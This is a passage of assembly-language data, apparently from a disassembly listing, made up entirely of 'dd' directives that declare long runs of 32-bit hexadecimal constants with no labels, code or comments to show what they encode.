		dd 2734BD01h, 0DDF72CAFh, 0C5DDD12Eh, 47B7F01Eh, 26860CDFh
		dd 0C12254BFh, 2B991C10h, 0CDE2A243h, 558726h, 0DD02F91Ch
		dd 9052684Eh, 838077F1h, 7D03EFDDh, 0E2717A0Ah,	9028586Ch
		dd 803977E8h, 5F2DF929h, 0B8EF92Dh, 44D425D1h, 84256845h
		dd 847580BEh, 735F5B7Dh, 84157E9h, 905155FCh, 7ED3070Fh
		dd 0A0B902B5h, 0E9655DD4h, 0E01D0F4Fh, 171268C5h, 0C91ECB34h
		dd 0C8646753h, 5D265181h, 0E6D32532h, 63BF0427h, 80EA6E68h
		dd 0D94DF1FBh, 0F7067C76h, 1A5F46AFh, 380A0C0Ch, 52AE3F67h
		dd 59C71317h, 346F89F1h, 0CA95016Bh, 3B7D2C68h,	0FAE90B0Bh
		dd 88719D67h, 0F131FA6h, 6E10CDA7h, 56BE2795h, 0DA72A77Eh
		dd 4C89AA20h, 0AD2CD028h, 145AADF1h, 80AAFE20h,	27933AADh
		dd 0AE8B46EDh, 38F7FB62h, 8A02C249h, 9FBC9ED5h,	681EE0E4h
		dd 7B267EBAh, 0B58B342h, 0BEF59341h, 0F882127Bh, 6ECA3DBBh
		dd 9C5A81CBh, 9A97F27Bh, 0A19177FDh, 37657DD3h,	0ADA77B76h
		dd 54D831C2h, 0EFFC528Bh, 8801566Bh, 0FB262891h, 0B2A8C813h
		dd 68475902h, 2FDC1E2Ah, 12649F60h, 1417Eh, 0D73F7BF5h
		dd 23A7654Ah, 0D021E913h, 0DB4F13Ch, 0F76BF05h,	45BFE380h
		dd 8B1BBB39h, 23575571h, 7EB84B30h, 0E911B1B0h,	0F6F86F25h
		dd 0B863C49Bh, 0C4BC4E1Ah, 0E6F95CA3h, 0DB1EA757h, 0BC243ED0h
		dd 50D6AF9Bh, 965FC296h, 8B2B298h, 0F1048067h, 58613090h
		dd 9EB15106h, 33EDD3Ch,	0E917E120h, 0E431C7Bh, 10C8B28Ch
		dd 27FEEDh, 4D1B5CB8h, 99C3897Bh, 8255CBFEh, 40395679h
		dd 9DDB8F32h, 0A0EE99A5h, 4704BB54h, 56689371h,	6A9C2EFFh
		dd 831C308h, 17E0B09h, 77EEE607h, 0C5E07F72h, 89791FBDh
		dd 81D19F4Bh, 0B56F7EC9h, 97E9D869h, 0A785D412h, 0D26945BFh
		dd 20B9E4DEh, 3FE50B1Eh, 5DB8A7CBh, 0F0476519h,	30C831B9h
		dd 0E3642F6Eh, 8BF01121h, 0FA760AC5h, 0A5210C92h, 0BD00D40Bh
		dd 0CC2D3CBFh, 0C1B4007Ah, 6AF704E2h, 9E04D2h, 8612B18Dh
		dd 89E9A4E9h, 7456584Ah, 455DA35h, 5809C590h, 0DCAA0513h
		dd 20575D03h, 8326AF0Eh, 0DD17C4C5h, 3F2129ABh,	0F581F807h
		dd 7C884920h, 55BE9h, 9590BFF5h, 2D042012h, 670F24E3h
		dd 0ECE46CC4h, 17875A14h, 48C22D1Ch, 565A8BA4h,	4CDD8AE5h
		dd 0A2E0162Eh, 3D344F57h, 0D1561E16h, 0BF0003A6h, 81570E7Ah
		dd 7207F8F2h, 3BE93D59h, 4D5A50DCh, 0AF96145Bh,	7C247B29h
		dd 6CA9BAD3h, 32949740h, 0F2972CBCh, 0B39087BDh, 5B8C2010h
		dd 7CD222A3h, 0D24A5CB7h
		dd 63438A9h, 0A0628075h, 0E9B04379h, 1C0923F8h,	52921E8h
		dd 817C15Dh, 414B76A4h,	0F8C83BB6h, 776CF9B9h, 0F72318Eh
		dd 0E7D7E16Bh, 0D64E7B2Eh, 53595980h, 0F335F054h, 5F66F66Ah
		dd 0B52944B0h, 8FB00052h, 4A5E720h, 3C7094BAh, 47FCC025h
		dd 9EB05156h, 1DC4EB00h, 0F3E97406h, 83DA961Eh,	6FF7685Ah
		dd 95D90987h, 2E88361h,	10B1892Eh, 533668EFh, 0B767399Ch
		dd 528322AAh, 1BFEBBB2h, 0C1B842A8h, 360FEAD4h,	0A4BF6B51h
		dd 3CBE529Bh, 2823140h,	54DF3CC4h, 10004B04h, 2F7F5A60h
		dd 22B44EFCh, 0A8ED830Ch, 63968C2Ch, 4355218Ch,	9C3EEEF2h
		dd 53588F14h, 0EEC364E5h, 20124526h, 0EF8160D7h, 7D3AD80Fh
		dd 439C01ECh, 0CC125997h, 13E558Dh, 0A65A6371h,	10537976h
		dd 502FE705h, 65C4E780h, 5B78018Ch, 7E07EB51h, 18188636h
		dd 24863F80h, 809F7EDh,	42015D47h, 0F5080919h, 0C46828A7h
		dd 65CAFF2Dh, 0EE93ACD0h, 54972B44h, 89352741h,	0E5E53A1Eh
		dd 5A357EF2h, 20D53ED7h, 0E09FD266h, 82938646h,	0D993EF43h
		dd 0C1490813h, 7FE9A6A1h, 68AE883Bh, 0D94C3F2Fh, 0FD9788CDh
		dd 51DF235h, 0E0D67EDEh, 77B4A9E0h, 0B5A2D4Ah, 213F81ECh
		dd 168CF1DCh, 34C2B4E9h, 0BEB481DBh, 3DC4369Bh,	0B109315Fh
		dd 0E8EA6968h, 82D9DBFFh, 842AE777h, 0B29F1EE9h, 0E168098Dh
		dd 5AFAD664h, 0B1955B43h, 0EFC72A7Ch, 59AC6B84h, 1917AC3Fh
		dd 4E7CB6F7h, 0ACDA3AA2h, 42344577h, 2BDDBD55h,	799E74EAh
		dd 0F0162AFFh, 0E9DE68BBh, 24E32730h, 707E0C1h,	366B9705h
		dd 49ED2A3h, 5EB39CFDh,	9CDCCCB8h, 14E37C05h, 9609F101h
		dd 0A68C5E21h, 63A671h,	0AC99B5E5h, 5D4EEB09h, 0E8DB10C3h
		dd 91A8DF3h, 0C1E970BAh, 1CBE6EA0h, 775B7A25h, 12801B8h
		dd 4BC4B0ABh, 0A83E1371h, 0EE09A42Eh, 0ED2B70E2h, 815AB67Eh
		dd 530EE930h, 8980F855h, 6260850Fh, 0F5C31374h,	6C90E07Dh
		dd 5ECB1330h, 0F78A2333h, 0DA1AE027h, 7C5197D6h, 7C36E9C1h
		dd 556CBB52h, 59135351h, 5E683F8Dh, 4A29BFF4h, 17E9C98Bh
		dd 0D1B22B7Fh, 685B02FCh, 1A5F7D6Eh, 9447146h, 64EE59F3h
		dd 0E65ADAF6h, 7FBAC992h, 79800329h, 27C612C5h,	0A1A04282h
		dd 5C1A68BDh, 8DAC3D8Dh, 51832EFFh, 0DFE4D283h,	82C32A2h
		dd 775B5A27h, 6E84383Ch, 72036819h, 1D75883Bh, 0BB52A03Bh
		dd 0D96097B4h, 1209DC30h, 53D8E940h, 0BCB51817h, 3B1E7550h
		dd 226F8B51h, 1E7D329h,	57AA8A0Fh, 0A32CB3F2h, 0E7851708h
		dd 19742D9Dh, 0CBC18BE5h, 783C6127h, 0A0278AD0h, 4577632h
		dd 13FF3836h, 0BC3DEB33h, 5E681060h, 8D1ABDFAh,	0F3F42301h
		dd 3FB4B312h, 5B88DBDDh, 49FB018Eh, 2D67C40Bh, 347152CBh
		dd 0EBADA56Fh, 0D7B54956h, 80667C2Fh, 1195149h,	3DA24DF6h
		dd 0C07121D4h, 0A892E8F8h, 4ADB829Ch, 0F725EDBDh, 0B945E155h
		dd 0AE7DEBCh, 1DE7F85Ah, 9A015ECEh, 8E6C160h, 6B7A98E7h
		dd 66DB8ECh, 4A6304EEh,	7F7D0C1Fh, 76E7942Fh, 7684B9DCh
		dd 0C23BA44Ch, 3505D975h, 5B7DC8EBh, 0FD4D587Dh, 21BC4EBAh
		dd 0B6DC21D3h, 7CE805AEh, 12C43750h, 0AE0E8FF1h, 259C4909h
		dd 82BF470Fh, 29E9F891h, 967DE221h, 0B71720B9h,	898DFEC4h
		dd 167D5844h, 0FA0C12FBh, 0D2FA8A24h, 0D4D87C72h, 0BB3DB097h
		dd 9C41763h, 0A61607B4h, 2947035Eh, 128DC4B5h, 2FB3A808h
		dd 9F07E5Dh, 0DF040E9h,	8154512Ch, 0A248EC10h, 10AEF924h
		dd 97B800FBh, 0BF543261h, 1A3D3803h, 58C73100h,	0EE44E955h
		dd 545F26C9h, 0FDFA4291h, 89468A54h, 7ABA4DC2h,	5B53558Bh
		dd 8D14D288h, 0F079C9E5h, 3658184Ch, 40020037h,	4E399F05h
		dd 54E91337h, 9B76F4E3h, 48452217h, 503E9EE3h, 40BB0B10h
		dd 83BF0A9Eh, 103DD908h, 720287h, 520876B9h, 9CCB0177h
		dd 0E269162Dh, 0DB42049Fh, 48ECD34Eh, 635E2D2Dh, 0A22FE5CDh
		dd 0CEE9A0ECh, 871D96C4h, 5B97290Eh, 42485570h,	0A4376E2Fh
		dd 39FE4FD5h, 0A3664505h, 0D9E41233h, 0D94FDBA7h, 5303F290h
		dd 0EF533BA1h, 3DFE6B5h, 2F224AEFh, 0DB4231AAh,	0C7A02D59h
		dd 0A7E95A08h, 2EEC20B2h, 619BE057h, 0CC17E280h, 2831F6F2h
		dd 0B34F2ED7h, 5585386Eh, 0ECD9B09Fh, 0EFAD9E8Dh, 5CE1D169h
		dd 9FE73E5Fh, 0D3BAFE79h, 2BB81Fh, 1A5967F6h, 12A0EA81h
		dd 8C26A5Fh, 501AE63h, 71992CB1h, 927F5ED6h, 170CB25Dh
		dd 0EF40E0E9h, 2C5B3BBBh, 0B84B7170h, 6E9A0B95h, 40827EB6h
		dd 6C437E9h, 944F0825h,	2D4A9FCEh, 2362E6F4h, 0CBC65F0Dh
		dd 1A00C65Bh, 3058E288h, 0E6C497D0h, 0C9B5BDFEh, 0F520C62Dh
		dd 0FA80B5E6h, 1AF40AEAh, 0D81570BDh, 0FED41604h, 0E0C9112Dh
		dd 0C4C50CA4h, 0E4EB99Fh, 0ABD1AA51h, 0CE893D04h, 4639C8E5h
		dd 48DC68F0h, 3A3618B5h, 3DF82823h, 600602DDh, 0DF315A2Fh
		dd 0D1CEDF86h, 0D674F6E8h, 5176F17Eh, 8059D4C1h, 0C16FCFC1h
		dd 60C3288Ah, 0E91003FFh, 100AF13h, 27E805D0h, 1F9E620Dh
		dd 0A1C3706Bh, 0C42F2EDFh, 0D041B205h, 7AC3189Bh, 8269B1FBh
		dd 7567445Fh, 9B459565h, 79EE2888h, 0ED72C56h, 0EF1C39C0h
		dd 7F10A59h, 0CF028A24h, 0E4C2DEE9h, 0A5152707h, 0B670EBF6h
		dd 0FF7297C9h, 81BA8E21h, 0B80178BFh, 5096F460h, 0DF8D4DC5h
		dd 0E34B5AB8h, 465A8921h, 0DBBD0106h, 1D5C2BEh,	103122FDh
		dd 2C178570h, 0D6C9B2E8h, 27B71641h, 0FCC9E730h, 0FCD08ACh
		dd 803C8853h, 0D5F65BFDh, 4B9619E9h, 0A247870Bh, 7EC7F165h
		dd 2BF4A59h, 299801FDh,	0F20DF906h, 4FE6ACD7h, 16FFA353h
		dd 0E300D389h, 78088EEFh, 92DAB735h, 575B0880h,	2F93A291h
		dd 5B2CA0A1h, 7430FFF4h, 0A87C7BE9h, 0A005E1C7h, 941DE0D0h
		dd 6CC4812Bh, 70512146h, 724BB4EFh, 606127D9h, 1695F67Ah
		dd 6266B636h, 5B9F2717h, 0E9F735EEh, 5D4C3406h,	0DCDA6825h
		dd 0F1AE9524h, 4F622D00h, 0FE053982h, 2F36221Dh, 3F06F442h
		dd 2DF5C134h, 115A0747h, 6E09E428h, 7F55C03Ah, 77BBF7B0h
		dd 518A4A04h, 8395F2E9h, 52D35044h, 0EA8084B8h,	0E190FBA4h
		dd 0EB00BEA4h, 68790108h, 9EDC14E9h, 0A364EA1h,	0BC7A8130h
		dd 29916617h, 0CC043EC5h, 5300B188h, 0EB8008B3h, 86748CC4h
		dd 0C02D24EFh, 7E219330h, 0DE265Ch, 63C35FEAh, 0B6A5870Fh
		dd 0C5461DC6h, 0F4020584h, 6105CCCCh, 350C6F52h, 9F5810C8h
		dd 46085E59h, 41B13A4Ch, 0EC68520Bh, 4B583566h,	3FEE4576h
		dd 46613DA1h, 80174C28h, 0DA1C04C5h, 42C14650h,	575E68h
		dd 701CF137h, 0F9BF3B7Ah, 0FE688FA0h, 7B8B6033h, 385F423Eh
		dd 0CE30C5C7h, 9554A9E9h, 568B15C8h, 0BA6B5701h, 79399D0Dh
		dd 0BA6FC46Fh, 9FA84C04h, 0B07675EAh, 8D24A26h,	0E0EA2500h
		dd 4F0C7F59h, 3AEB9921h, 0C75D5046h, 9FE97E71h,	4ACE081h
		dd 0E7B530F3h, 7AC2801Ch, 572CACBh, 61F3C0D4h, 0CA289682h
		dd 0E461C0E2h, 0C6A09765h, 16A4A08Ch, 0FE1C8E08h, 85FB1A24h
		dd 0EC9BAF39h, 85F42D2Dh, 987F3A5h, 3D1B0B2h, 1FD25914h
		dd 0F4755703h, 16BC4A88h, 0F3E6B7Dh, 0E9BC014Fh, 0D6F70BC6h
		dd 81BB8311h, 75E62D27h, 0A13C0852h, 0EE499C3Bh, 0ADCA5E98h
		dd 0C1E89395h, 3626EBFh, 5F54CC01h, 0BADAF748h,	0AC728C86h
		dd 0EA3A1C1Bh, 16E0B5Eh, 4DCC5AD5h, 61F9E92Eh, 0F3A65E96h
		dd 520F5658h, 0E496F5E9h, 8B0F202h, 8851D21Fh, 5D43193Fh
		dd 81C858A7h, 7FDA04EDh
		dd 0D613860Fh, 200B1726h, 0AAE3E92Eh, 8E26107Ch, 24FDB80Eh
		dd 9BBD2D0h, 3168313Dh,	29782E9h, 55086879h, 0A43E2579h
		dd 29977D97h, 0E8CD0FEBh, 0BB627349h, 3F265561h, 76F74FF4h
		dd 3D52DC7h, 7B1C50E0h,	520A983h, 2192F168h, 7CEE214h
		dd 0B074C307h, 909A2BCh, 860958C7h, 0EE641805h,	3257902Dh
		dd 122A2061h, 868C42h, 0F2755ABEh, 311A3D5Ch, 58C3D368h
		dd 98C45B38h, 86B107F2h, 0C828FD91h, 0F34F2C92h, 1B3C5805h
		dd 0B7FDA0F2h, 0D1AD7272h, 46726BADh, 2ACFA655h, 0E2812630h
		dd 0D17D1846h, 0EDF3D26Ah, 0BA9710BFh, 4084B620h, 64096092h
		dd 2AFA0124h, 68140820h, 84617B53h, 0A9A2B9CAh,	11FE534Bh
		dd 0CB48B467h, 2DCC1D10h, 9A88E031h, 5F91C9h, 712D3569h
		dd 93308C0Fh, 0C7EA830Bh, 929B2EE4h, 7CE90E6Eh,	5575BFF3h
		dd 8B528B8h, 7F2C4912h,	1BA1EB01h, 922A5799h, 18705166h
		dd 0AB92689Dh, 0E91786F2h, 34E864DBh, 581C87E1h, 2300CAF9h
		dd 0CF816C74h, 0F96B6645h, 535D407Bh, 870C0661h, 0B6A14EF2h
		dd 0FED854C1h, 0E90B7ADBh, 7FDC5B06h, 9F101ECAh, 0AC088812h
		dd 3B1FB3E5h, 1A5CD1F1h, 0AAA29716h, 0BAF96929h, 9D5A7864h
		dd 4762A4F9h, 0B5B90093h, 0E09A333h, 1B162C68h,	49C616BFh
		dd 0C33F2A1h, 0B86670B3h, 774B4E39h, 7C71B397h,	0F4B62F6Bh
		dd 59D202A8h, 645501B3h, 0F57BF17Fh, 1A4F95Eh, 0F328D146h
		dd 9B691805h, 0BFC71395h, 0E5AC9152h, 38896225h, 587D18ECh
		dd 0C5196869h, 0D3591F58h, 4A71C36Fh, 14CA25B2h, 38B65340h
		dd 584F6AF8h, 2AFB4B02h, 0A04483Bh, 330254Ah, 882AE52h
		dd 0BF846582h, 4C43600Eh, 0F2BD4BD6h, 0B42912B3h, 0EB8DF001h
		dd 0AF1F2AC5h, 0B4819AF5h, 3CCB63C6h, 12EDF85Ah, 342D65BDh
		dd 278AAABAh, 0BFAF75Fh, 68856CE9h, 816F2D94h, 75FEF143h
		dd 61B76F14h, 9AAB111h,	1884C2E9h, 395B50DFh, 0F7925953h
		dd 5EADACD9h, 52036F00h, 18876855h, 84798047h, 0B33D06F5h
		dd 0EA89820Ah, 0D5DC54E9h, 2C6E27BAh, 45B537B0h, 0B7CCA030h
		dd 8E71C20Bh, 0E267E96Fh, 0F2C9FFE4h, 4F27C0F5h, 5207028Ah
		dd 8F44F5BAh, 5E025F2Fh, 0FA447289h, 0B1624437h, 82A97769h
		dd 90106805h, 8E0FDBD5h, 54C4974Ah, 2F6921EFh, 0E22664D7h
		dd 25A31562h, 0A81C7DE1h, 33BE5C4Ah, 0EF8D4759h, 52EAE428h
		dd 4B5B9E6Ch, 4CC05A4Bh, 0EA0C99Eh, 38300828h, 75790C34h
		dd 50595ECDh, 0C680809h, 9DF62514h, 795DABEFh, 4C8EA1E6h
		dd 5E805DCAh, 0A782D68h, 0F4D28D76h, 27E9E1CFh,	0AEB22FF4h
		dd 0B9E1F785h, 0BBA284C7h, 559CB800h, 62BD249Ah, 2BA8DFA4h
		dd 0D5E6250Bh, 0D5BC5B4Eh, 48796A10h, 0D8AE1048h, 803FB503h
		dd 4ED2CAC5h, 9DB8667Dh, 43E442F8h, 684DC81h, 0D5D0E98Fh
		dd 788EAF59h, 82DF0E50h, 12377157h, 59181D7h, 0A1A06802h
		dd 0D939FCE9h, 0CB91EA02h, 7E70D957h, 4FFD41BFh, 488E1660h
		dd 0F765B6Fh, 18223AE7h, 27D73187h, 69714BFAh, 71AA418Ch
		dd 8644135Ah, 725DB62Bh, 631EE980h, 0B7EE7946h,	1079B858h
		dd 0DA6AEFD9h, 0C510CEh, 9E7EC3BBh, 16E8B851h, 0B00D2AA8h
		dd 0CD1C0515h, 21CB0CE2h, 3DD95CC6h, 6AE0060Fh,	0B8E9FE21h
		dd 78FF3385h, 3C7A5228h, 0B898FC95h, 8DFC0369h,	4B254800h
		dd 22B7A70h, 0E907E8C1h, 2F76E1BCh, 0CFA764EFh,	570BD0BDh
		dd 74D0EF68h, 52E0BEB4h, 9F1933E9h, 6C72F0ACh, 5047DA96h
		dd 0F7D1DA95h, 0F5DCCC30h, 580EC6ACh, 31791E43h, 0FC6811C2h
		dd 627D5675h, 280079FBh, 3AF52CD0h, 0FC0F5A66h,	0E8418D04h
		dd 3AB9C0E9h, 0B28B5CF3h, 0A2438602h, 0BF7011D6h, 996304E0h
		dd 82474F0Ah, 6801A383h, 0AA732367h, 1516543Fh,	0C1339498h
		dd 41135D11h, 23978D7Fh, 0FB011371h, 0AF4A76E6h, 0F3290907h
		dd 77138832h, 82DE4F11h, 58820F9Fh, 0E5810003h,	55FE3552h
		dd 9F007EB0h, 0F50D227h, 9A8CB28Fh, 93456676h, 5F05089h
		dd 4D019192h, 5797BE56h, 3660313Ch, 0A72204DEh,	0ABF5292Eh
		dd 9D31E2C9h, 4CB3AC2Eh, 54461055h, 1413314Ah, 5415A77Dh
		dd 534E458Fh, 50E2B3DFh, 0B425682Dh, 52E0FC0Eh,	0FDBC02C0h
		dd 4F80180h, 787AA12Dh,	53088006h, 1906A7BBh, 5C31091Fh
		dd 0AF02BF32h, 0ECB657BCh, 7200804Ch, 0E69EF027h, 886B2089h
		dd 0D0785074h, 7AB4F34Eh, 0D520C64Fh, 4908BADh,	0EF0E179Eh
		dd 32D6257Dh, 130EA405h, 0FE683640h, 9D704718h,	0EF0B7ED0h
		dd 0C81C5475h, 80B72998h, 7A5A1468h, 0CDD6A2ACh, 586C0257h
		dd 0CE5DB1D7h, 0EF69122Ah, 13307029h, 361126Ah,	0D8080340h
		dd 80BD792Bh, 1214CF3h,	2C41D1B5h, 21E95049h, 0C0ED0A5Ah
		dd 0B9D9A59Ch, 4D60A41Ch, 40050A5Ah, 0D032880Fh, 0DAF792D5h
		dd 0C2BDE7h, 31E786A6h,	542CE9D8h, 2E24FD9Bh, 1FDA2974h
		dd 659722EAh, 3BBE00DBh, 0E98DB9D5h, 56AF8026h,	91EF8863h
		dd 326A5BFAh, 0AE4828C9h, 659C7606h, 0F4F1808Ah, 2DE29208h
		dd 0ABC9F851h, 0DD380057h, 0AA7E131Fh, 7812D5F0h, 2914E61h
		dd 39217BACh, 0F6A2905Ah, 0B23D5229h, 0A69F9302h, 1DD7F641h
		dd 0CB305406h, 5B07A12Dh, 0E9C22D72h, 65D7C00Fh, 404CAEBh
		dd 0BAE065FEh, 1E0DCDC0h, 85424E07h, 0F9278060h, 155EE77Bh
		dd 896B7AF1h, 0BFA4CF72h, 1C2B1BD9h, 3A84FCF3h,	0AF440130h
		dd 0C0B3034h, 0C79A0258h, 0F85B0549h, 0EE3073FCh, 0B1510D07h
		dd 0CE302E1Ah, 0EA5101Dh, 607FCB80h, 8B0F83E3h,	0F7CF5A0Ah
		dd 0DF58C9F6h, 0B1395C24h, 0C7EC2A39h, 5815FE2h, 7B6D5868h
		dd 0C153F962h, 0EB92E10Fh, 1E84024Dh, 9A87B21Bh, 536FC1CDh
		dd 238A203Fh, 3E023534h, 0E909F0B9h, 0C449C297h, 345AF276h
		dd 48B8DE20h, 0F22DEA5Ah, 0EAA754D6h, 6896F55Bh, 2D49E926h
		dd 0FD9F780h, 82C91A84h, 3C7EF4C3h, 89EDD13Eh, 0FFA45E8Ah
		dd 8800A214h, 0BEC589D2h, 3C9F6B26h, 82ADE930h,	836EBA22h
		dd 311FDA59h, 40CA5392h, 43086809h, 7B8A50B0h, 5FAC149Dh
		dd 938BA25Ah, 6E3E5604h, 555C33EBh, 0E06D7C10h,	9D82B570h
		dd 0E6D57A47h, 662D25C0h, 1213E4E5h, 584DADECh,	2F9E8CE3h
		dd 0BFA0D920h, 53EE6B60h, 1DB65204h, 0EE2F788h,	0CD01C494h
		dd 0F61DCA80h, 8EF2D4DAh, 0C8E773B5h, 4CC10D2h,	31139ABEh
		dd 0B7B809EFh, 0D25E92C6h, 1B821987h, 30BF9077h, 62B88063h
		dd 22FA5609h, 28780E48h, 16D2C47h, 9C522668h, 90A63E51h
		dd 8FB1DD2Fh, 4BCF7088h, 4F004E7h, 825D984Eh, 51C0229Ah
		dd 0A4C4054h, 845C8274h, 8B6D7325h, 2F2240F9h, 0AECC6775h
		dd 0E1BE3473h, 6CC6861h, 1920E2Dh, 8B587BC1h, 65D57E2Dh
		dd 16D12BAh, 0A46F4576h, 0D9A7307Fh, 12536017h,	0C8C59804h
		dd 8578AD13h, 8BFBF1F6h, 0B1921774h, 2AB3AF4h, 89181BC4h
		dd 2BE05FF8h, 1957C06h,	415D61F6h, 4FB5E9D8h, 0AFE9296Ch
		dd 70CF7E0Ch, 40825F5Eh, 282F847Ah, 50F54213h, 18FB23A5h
		dd 0C2EC716h, 0AF4B6154h, 54EE54C7h, 140C6808h,	77E05D17h
		dd 4F629736h, 71F13C3Bh, 0EBA75401h, 70B1B704h,	0EF04B5B9h
		dd 0FF23AFD7h, 0CB011C05h, 0D39A04A2h, 4F8EC1F7h, 0F9F5AB84h
		dd 0C1E9C0A6h, 0FAFC06E5h, 5BE45A4Bh, 30C5413Bh, 5917640Dh
		dd 1BB86605h, 6E14C902h, 0A4C118FBh, 0E2C10063h, 0B5F9808h
		dd 1C98252Eh, 8918A0D4h, 1E38EA6Dh, 6EEB40E2h, 145C0C84h
		dd 0DF2F6898h, 13DAE66Ah
		dd 5C5FE5Eh, 0ABA082D7h, 56257E9Ah, 5DB16823h, 234064E2h
		dd 0B3F6561h, 21B94A2Ah, 0C7ECE90Bh, 7D21F6FAh,	0B3530533h
		dd 61D95CCh, 7143A1C0h,	2441C32Eh, 434ED413h, 0C219EBE1h
		dd 20477A01h, 314ADA7Bh, 57C9CFA2h, 2438667Dh, 6F587623h
		dd 0FD948E04h, 28B04E33h, 0BD54791h, 68C569E9h,	0B056A684h
		dd 506ABF87h, 84580804h, 0B94EB68h, 0EEE6C5BFh,	0AFE54304h
		dd 0D26EA9h, 0D33E6750h, 71B75660h, 0D9F8270Ch,	4D0E78B7h
		dd 0E95E02EFh, 3CFFD235h, 8325E9E1h, 0B29F71F8h, 945D59E7h
		dd 0EA5648FFh, 0FF93B017h, 4AC91472h, 5A1F03ACh, 4603C268h
		dd 5951920Eh, 294F9D3Dh, 0FD186004h, 7AD9F625h,	647640Eh
		dd 58B08ADh, 82C82818h,	8209F6C0h, 2B43142h, 0B360D8F7h
		dd 72411A8Ch, 0FB57D5F9h, 1CB46B55h, 0BD5902D2h, 0E7B5D87h
		dd 6355A440h, 5B4FEF24h, 56D1A60Bh, 0B1B0C45Ah,	5A806A51h
		dd 16EE3058h, 5F32859h,	0AF6C236Eh, 991865DCh, 3E400874h
		dd 0F111680Bh, 35BB81FFh, 79A68EDDh, 91B0515Dh,	285B98ABh
		dd 87614893h, 0BD55D0EBh, 5A0517F4h, 50988E0Ah,	4430EAFDh
		dd 7AC118FAh, 9D902433h, 0C0591379h, 0D035E903h, 27034599h
		dd 8C31980Fh, 7A291218h, 0D22DB26h, 9D09BF01h, 0DFD45773h
		dd 0F72E4C10h, 292EF3Ch, 63CACEEh, 3AA956F1h, 0BEFA1D18h
		dd 64311DD7h, 9F96429Ch, 0F6DD4C0Fh, 0ED9A6013h, 177466EEh
		dd 56F53FE1h, 50530802h, 9C3C02FEh, 0AB7FE94Dh,	7FEA2DDEh
		dd 72BF9820h, 0DFE92AB8h, 0EF98BDh, 7D9BF43Bh, 837D52Dh
		dd 4A9946E9h, 57CC3E4Eh, 0C9434B99h, 58F63BE8h,	0AF11025h
		dd 6F3E941h, 4C1CB73Fh,	3D441033h, 6BBFE14Fh, 0FDB9271Ch
		dd 0CC78817Fh, 9274B12h, 429E6609h, 0BE167782h,	2E982A55h
		dd 0FE570DC2h, 7F7C2F80h, 4C6EE78h, 0E96F501Ch,	2141EF53h
		dd 0BE9AD1C1h, 1AB09040h, 15C131Ch, 84B10F2h, 47055E1Fh
		dd 507F6D02h, 56BE6C80h, 2DD00114h, 11A27507h, 18D97C87h
		dd 0F6DAB402h, 0CC697DD4h, 0AAB37017h, 4EE3E914h, 1DCB81EEh
		dd 0EE3819D5h, 5CB1714Fh, 0A2D16B66h, 7B323CA7h, 45704993h
		dd 0C2D6F382h, 932A4555h, 0B5624333h, 0A210525Bh, 9C41E48Dh
		dd 0B5CE1920h, 3501F5E4h, 0C63649EEh, 0CA2AC331h, 0FCE9143Ch
		dd 71EE4AF9h, 1AEB33BBh, 0E5F37715h, 0A0623C88h, 0F08903D1h
		dd 3A5342B9h, 0B53AD688h, 86F3F0Ah, 963A6C8Eh, 6847B054h
		dd 0E53364EDh, 577AD917h, 0B797218Bh, 48754212h, 179B3594h
		dd 4C014A39h, 5B25E24Ah, 0B92017B0h, 76407DBAh,	0B93895B3h
		dd 0B7FBE0D3h, 4530FA4Eh, 0C64C1B11h, 79FD47F8h, 0BD96CC34h
		dd 34AE05C5h, 4960FF17h, 4FEAE902h, 25F5B6E5h, 2005C401h
		dd 11A0CDC5h, 572E3468h, 0E01C035Ch, 0F625641Dh, 0A02C8955h
		dd 183CB4D1h, 0F739FC73h, 9568122Eh, 0DA6BE133h, 79AF127Eh
		dd 30D5C9C4h, 0BF54520Dh, 8344F5DBh, 9F20EB17h,	951B0B8h
		dd 5EE90FE7h, 68D86963h, 0A61512B7h, 0C2587Bh, 4B6E132Dh
		dd 5DF5E97Dh, 12841CC2h, 0C980027Bh, 7776C498h,	0FED99DFEh
		dd 2A77A62h, 0C3555CBEh, 82F1EA36h, 0C0BC89h, 0F8E8850Fh
		dd 0FA65189Ch, 3F7556B8h, 5D272CD0h, 4D5AEA21h,	9F23200Dh
		dd 5689426Bh, 0E7DD8B89h, 213A237Bh, 5BD8A683h,	82FDE8A2h
		dd 0A9ED134Bh, 8274FAF3h, 8B7A5539h, 2985665Bh,	2D3D9BEBh
		dd 250BD1BBh, 98BD98D6h, 0F31758BEh, 66542F1Ah,	0E102595Ch
		dd 893E1263h, 4C8342B3h, 5F5425D9h, 0B0E39CD5h,	20E9FA95h
		dd 6CEAAFE7h, 790A3A69h, 0D070B7F0h, 2146CB70h,	1631DE76h
		dd 0B6F68B40h, 972E0320h, 4B66EA86h, 5BA3545Eh,	952C83C8h
		dd 2F3BEA08h, 52A7005Bh, 8D2668CDh, 3EC209C2h, 682CE1F1h
		dd 0BAB2A812h, 257F7143h, 0FA205AC6h, 74A564BAh, 0B40B6098h
		dd 44FAD3Ch, 0CCEB7E71h, 0C6B5A0EEh, 131A904Fh,	0C81A7E68h
		dd 0DBF25509h, 78C03C0Ch, 2C55A5Dh, 295F65E2h, 85559CDh
		dd 0A3E9C36h, 0CF16960Fh, 33A4B580h, 17DA0914h,	20855AE9h
		dd 705D3E33h, 1481558h,	149527F5h, 0B32D589h, 2A45A10h
		dd 447F6005h, 9313D627h, 604D587Ch, 3750192Dh, 574EC38Ah
		dd 4F5875A2h, 0A714E80Bh, 0C400625Ch, 0D109E506h, 0B1898EFh
		dd 34F38B72h, 4A90042Ch, 0FF7F143Ch, 0EBB8C212h, 0CE688107h
		dd 6FEA56B9h, 106D5A22h, 8D26467Ch, 0B204B2Ch, 50EC6C9Ah
		dd 0B29B6C95h, 0DA9953B1h, 0B14A060h, 93B860F7h, 0D03F6EF6h
		dd 0EAF9AC5Ah, 5FCB3158h, 21E11259h, 29E1187Fh,	20984C78h
		dd 988EC175h, 2B282D43h, 0DC8F12E1h, 7E0070FBh,	665AE281h
		dd 2776A3Bh, 0DB19B3CAh, 0AB6B605Eh, 3723006Bh,	0AD078235h
		dd 0AF0F0D58h, 41088564h, 26E8469Fh, 827F9220h,	4B6FD85Fh
		dd 0F8F7B5BFh, 0DBB172B7h, 8966D14Bh, 185D38BCh, 1FC8BF6Fh
		dd 0BD223306h, 0CB113369h, 289A3E53h, 38CC5B2Dh, 0AAA1944Ah
		dd 8BCE2B26h, 55AB7257h, 0E40A6341h, 0BD1D2CC3h, 5F534DEAh
		dd 682A03FFh, 5F717F29h, 0CEA25A4Bh, 2FA5CB5Eh,	0DD054211h
		dd 5EA58AEDh, 2A6659ABh, 2E2ADFE2h, 9A58958Eh, 5258F27Eh
